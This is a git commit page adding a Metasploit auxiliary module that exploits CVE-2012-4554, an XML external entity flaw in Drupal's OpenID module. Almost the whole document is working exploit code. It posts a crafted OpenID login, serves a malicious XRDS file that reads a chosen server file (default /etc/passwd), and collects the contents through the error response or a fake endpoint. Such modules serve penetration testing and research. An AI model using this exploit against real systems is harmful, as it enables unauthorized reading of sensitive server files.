Add module for CVE-2012-4554
parent
604f9fafae
commit
72b72effa6
|
@ -0,0 +1,174 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Drupal OpenID External Entity Injection',
|
||||||
|
'Description' => %q{
|
||||||
|
This module abuses a XML External Entity Injection on the OpenID module
|
||||||
|
from Drupal. The vulnerability exists on the parsing of a malformed XRDS
|
||||||
|
file coming from a malicious OpenID endpoint. This module has been tested
|
||||||
|
successfully on Drupal 7.15 with the OpenID module enabled.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Reginaldo Silva', # Vulnerability discovery
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2012-4554' ],
|
||||||
|
[ 'OSVDB', '86429' ],
|
||||||
|
[ 'BID', '56103' ],
|
||||||
|
[ 'URL', 'http://drupalcode.org/project/drupal.git/commit/b912710' ],
|
||||||
|
[ 'URL', 'http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Oct 17 2012'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']),
|
||||||
|
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def xrds_file
|
||||||
|
xrds = <<-EOF
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE foo [
|
||||||
|
<!ELEMENT URI ANY>
|
||||||
|
<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">
|
||||||
|
]>
|
||||||
|
<xrds:XRDS xmlns:xrds="xri://$xrds" xmlns="xri://$xrd*($v*2.0)" xmlns:openid="http://openid.net/xmlns/1.0">
|
||||||
|
<XRD>
|
||||||
|
<Status cid="verified"/>
|
||||||
|
<ProviderID>xri://@</ProviderID>
|
||||||
|
<CanonicalID>http://example.com/user</CanonicalID>
|
||||||
|
<Service>
|
||||||
|
<Type>http://specs.openid.net/auth/2.0/signon</Type>
|
||||||
|
<Type>http://openid.net/srv/ax/1.0</Type>
|
||||||
|
<URI>#{get_uri}/#{@prefix}/&xxe;/#{@suffix}</URI>
|
||||||
|
<LocalID>http://example.com/xrds</LocalID>
|
||||||
|
</Service>
|
||||||
|
</XRD>
|
||||||
|
</xrds:XRDS>
|
||||||
|
EOF
|
||||||
|
return xrds
|
||||||
|
end
|
||||||
|
|
||||||
|
# priority="10">
|
||||||
|
|
||||||
|
def primer
|
||||||
|
res = send_openid_auth
|
||||||
|
|
||||||
|
if res.nil?
|
||||||
|
# nothing to do here...
|
||||||
|
service.stop
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res.code == 500
|
||||||
|
print_warning("#{peer} - Unexpected answer, trying to parse anyway...")
|
||||||
|
end
|
||||||
|
|
||||||
|
error_loot = parse_loot(res.body)
|
||||||
|
|
||||||
|
# Check if file was retrieved on the drupal answer
|
||||||
|
# Better results, because there isn't URL encoding,
|
||||||
|
# plus probably allows to retrieve longer files.
|
||||||
|
unless error_loot.blank?
|
||||||
|
print_status("#{peer} - File found on the Drupal answer")
|
||||||
|
store(error_loot)
|
||||||
|
service.stop
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check if file was leaked to the fake OpenID endpoint
|
||||||
|
# Contents are probably URL encoded, plus probably long
|
||||||
|
# files aren't full, but something is something :-)
|
||||||
|
unless @loot.blank?
|
||||||
|
print_status("#{peer} - File contents leaked through the OpenID request")
|
||||||
|
store(@loot)
|
||||||
|
service.stop
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# Nothing :( just stop the service
|
||||||
|
# so the auxiliary module stops
|
||||||
|
service.stop
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
@prefix = Rex::Text.rand_text_alpha(4 + rand(4))
|
||||||
|
@suffix = Rex::Text.rand_text_alpha(4 + rand(4))
|
||||||
|
exploit
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
if request.uri =~ /#{@prefix}/
|
||||||
|
vprint_status("Signature found, parsing file...")
|
||||||
|
@loot = parse_loot(request.uri)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Sending XRDS...")
|
||||||
|
send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_openid_auth
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.to_s, "/"),
|
||||||
|
'method' => 'POST',
|
||||||
|
'vars_get' => {
|
||||||
|
"q" => "node",
|
||||||
|
"destination" => "node"
|
||||||
|
},
|
||||||
|
'vars_post' => {
|
||||||
|
"openid_identifier" => "#{get_uri}",
|
||||||
|
"name" => "",
|
||||||
|
"pass" => "",
|
||||||
|
"form_id" => "user_login_block",
|
||||||
|
"op" => "Log in"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
return res
|
||||||
|
end
|
||||||
|
|
||||||
|
def store(data)
|
||||||
|
path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH'])
|
||||||
|
print_good("#{peer} - File saved to path: #{path}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_loot(data)
|
||||||
|
return nil if data.blank?
|
||||||
|
|
||||||
|
# Full file found
|
||||||
|
if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m
|
||||||
|
return $1
|
||||||
|
end
|
||||||
|
|
||||||
|
# Partial file found
|
||||||
|
if data =~ /#{@prefix}\/(.*)/m
|
||||||
|
return $1
|
||||||
|
end
|
||||||
|
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue